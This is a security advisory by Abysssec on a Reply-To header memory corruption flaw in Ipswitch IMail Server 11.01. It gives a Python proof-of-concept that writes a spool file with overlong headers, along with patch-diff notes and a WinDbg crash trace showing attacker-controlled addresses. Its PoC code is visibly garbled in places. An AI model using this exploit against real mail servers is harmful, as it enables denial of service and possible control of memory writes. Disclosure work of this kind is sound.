MOAUB

# Abysssec Research

## 1) Advisory information

| | |
|---|---|
| Title | : Ipswitch Imail Server List Mailer Reply-To Address memory corruption |
| Version | : Imail server v11.01 and 12 |
| Discovery | : http://www.abysssec.com |
| Vendor | : http://www.ipswitch.com |
| Impact | : Med/High |
| Contact | : shahin [at] abysssec.com , info [at] abysssec.com |
| Twitter | : @abysssec |

## 2) Vulnerable version

**Imail server v11.01**

## 3) Vulnerability information

Class

**1- Memory corruption**

Impact

**Successfully exploiting this issue allows remote attackers to cause denial-of-service conditions.**

Remotely Exploitable

**Yes**

Locally Exploitable

**Yes**

## 4) Vulnerabilities detail

Procedure of receiving message for mailing list is:

1. The smtp server which is bound to port 25 receive the message.
2. The Queue Manager service receives the message from Smtp server and save it as a file to spool folder.
3. SmtpDll.dll which exists in the process space of Queue Manger run the imailsrv.exe with the following arguments: >imailsrv DomainName MailingListName FullFilePath

```
Example: imailsrv  wapteam-f556693   CrashList  "C:\\Program Files\\Ipswitch\\IMail\\spool\\tmp188.tmp"
```

Here is the call stack at the time of executing imailSrv.exe at smtpdll.dll:

```
SmtpDLL.CSMTPDeliver::ProcessQueueRequest
SmtpDLL.CSMTPDeliver::DoLocalDeliver
SmtpDLL.CSMTPDeliver::LocalDeliver                    1
SmtpDLL.CSMTPDeliver::CheckForDeliveryProgram
SmtpDLL.CSMTPDeliver::DoExecOf                        2
```

In the security patch that ipswitch released, imailsrv.exe hasn’t changed. By comparing smtpdll.dll version 11.02 with the vulnerable version with IDA software, we noticed that number 1, 2 are the functions that is changed.

To crash the imailSrv.exe the following script generate a malformed file with name of tmp188.tmp in the spool folder. As we mentioned earlier how to pass argument to imailsrv.exe, this file can be the argument to imailsrv.

.

```
import smtplib

sender = 'from@fromdomain.com '
receivers = ['CrashList@wapteam-f556693 [ '

message = """From: From Person <from@fromdomain.com<
To: To Person <CrashList@wapteam-f556693<
" " "

counter = 3
while counter>0 :
    message = message + "Reply-To: "+("A"*200)+"a"*4+"B"*196+"@exam.com"
    counter = counter - 1
    message = message + "\n"

message = message""" +
Subject: SMTP e-mail test

This is a test e-mail message.

"""

fp = open("C:\\Program Files\\Ipswitch\\IMail\\spool\\tmp9D.tmp","w ("
fp.write(message (
fp.close ()
print "C:\\Program Files\\Ipswitch\\IMail\\spool\\tmp9D.tmp"
```

This script has three 'Reply To:' header.

## Analysis of processing of file in imailSrv.exe:

By executing imailSrv.exe with mentioned argument the program faces an Access violation exception at the following address:

```
7C81A379   F0:0FB301       LOCK BTR DWORD PTR DS:[ECX],EAX         ; LOCK prefix
```

This exception occurs at the ntdll.RtlEnterCriticalSection function. by examining the stack call we have the following results:

```
ntdll!RtlEnterCriticalSection+0x19
MSVCR90!lock_file+0x3e
MSVCR90!fgets+0x67
IMailSrv+0x327f
IMailSrv+0x13b93
IMailSrv+0x1cabd
kernel32!ProcessIdToSessionId+0x209
```

After calling MSVCR90!fgets in the IMailSrv+0x327f function the execution flow hasn’t returned to the function and execution has failed at ntdll.RtlEnterCriticalSection system function. So we follow the execution after MSVCR90!fgets+0x67. By following the execution after reading the third 'Reply To:' argument, the first argument of this function as a handler to the specified file is overwritten and by calling the fgets function it will be executed by our overwritten address. After calling fgets the MSVCR90!lock_file function is called that is responsible for locking the file and banned other process to access the file. For the purpose of wait queue for the process intended to access the file, RtlEnterCriticalSection is called. But because invalid arguments passed to the program it crashes in this function.

In fgets function address *7854E272*, lock_file function is called. At address 7854EF6D in lock_file function 20 is added to our arbitrary value which indicate the location of writing our arbitrary data. At address 7C81A36A in RtlEnterCriticalSection function, 4 is added to our value and finally copy the value of eax=0 to our arbitrary address in the ecx register.

Details of the exception in windbg debugger:

```
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "C:\Program Files\Ipswitch\IMail\IMailSrv.exe" taghi-a46c85e8c CrashList "C:\\Program
Files\\Ipswitch\\IMail\\spool\\tmp666.tmp"
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 0042d000   IMailSrv.exe
ModLoad: 7c800000 7c8c0000   ntdll.dll
ModLoad: 77e40000 77f42000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 77380000 77411000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77c00000 77c48000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 77f50000 77feb000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77c50000 77cef000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 76f50000 76f63000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 10000000 10012000   C:\Program Files\Ipswitch\IMail\IMLib.dll
ModLoad: 785e0000 7897c000
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.MFC_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_405B0943\mfc90.dll
ModLoad: 78520000 785c3000
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6F74963E\MSVCR90.dll
ModLoad: 77da0000 77df2000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77ba0000 77bfa000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77530000 775c7000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_5.82.3790.3959_x-ww_78FCF8D0\COMCTL32.dll
ModLoad: 76280000 76285000   C:\WINDOWS\system32\MSIMG32.dll
ModLoad: 77670000 777a9000   C:\WINDOWS\system32\ole32.dll
ModLoad: 00340000 00379000   C:\Program Files\Ipswitch\IMail\IMailsec.dll
ModLoad: 71c40000 71c97000   C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 71c00000 71c17000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71bf0000 71bf8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 76df0000 76e24000   C:\WINDOWS\system32\ACTIVEDS.dll
ModLoad: 76dc0000 76de8000   C:\WINDOWS\system32\adsldpc.dll
ModLoad: 76f10000 76f3e000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76b80000 76bae000   C:\WINDOWS\system32\credui.dll
ModLoad: 7c8d0000 7d0ce000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76a80000 76a98000   C:\WINDOWS\system32\ATL.DLL
```

```
ModLoad: 77d00000 77d8b000   C:\WINDOWS\system32\OLEAUT32.dll
(b60.b58): Break instruction exception - code 80000003 (first chance)
eax=77e00000 ebx=7ffdc000 ecx=00000005 edx=00000020 esi=7c8877f4 edi=00151f38
eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll -
ntdll!DbgBreakPoint:
7c81a3e1 cc              int     3
0:000> g
ModLoad: 71b70000 71ba6000   C:\WINDOWS\system32\UxTheme.dll
ModLoad: 5d360000 5d36d000
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.MFCLOC_1fc8b3b9a1e18e3b_9.0.30729.1_x-
ww_B0DB7D03\MFC90ENU.DLL
ModLoad: 77420000 77523000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.3790.3959_x-ww_D8713E55\comctl32.dll
(b60.b58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424266 edx=42424262 esi=42424266 edi=00426264
eip=7c81a379 esp=0012d150 ebp=0012d15c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
ntdll!RtlEnterCriticalSection+0x19:
7c81a379 f00fb301        lock btr dword ptr [ecx],eax ds:0023:42424266=????????
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6F74963E\MSVCR90.dll -
```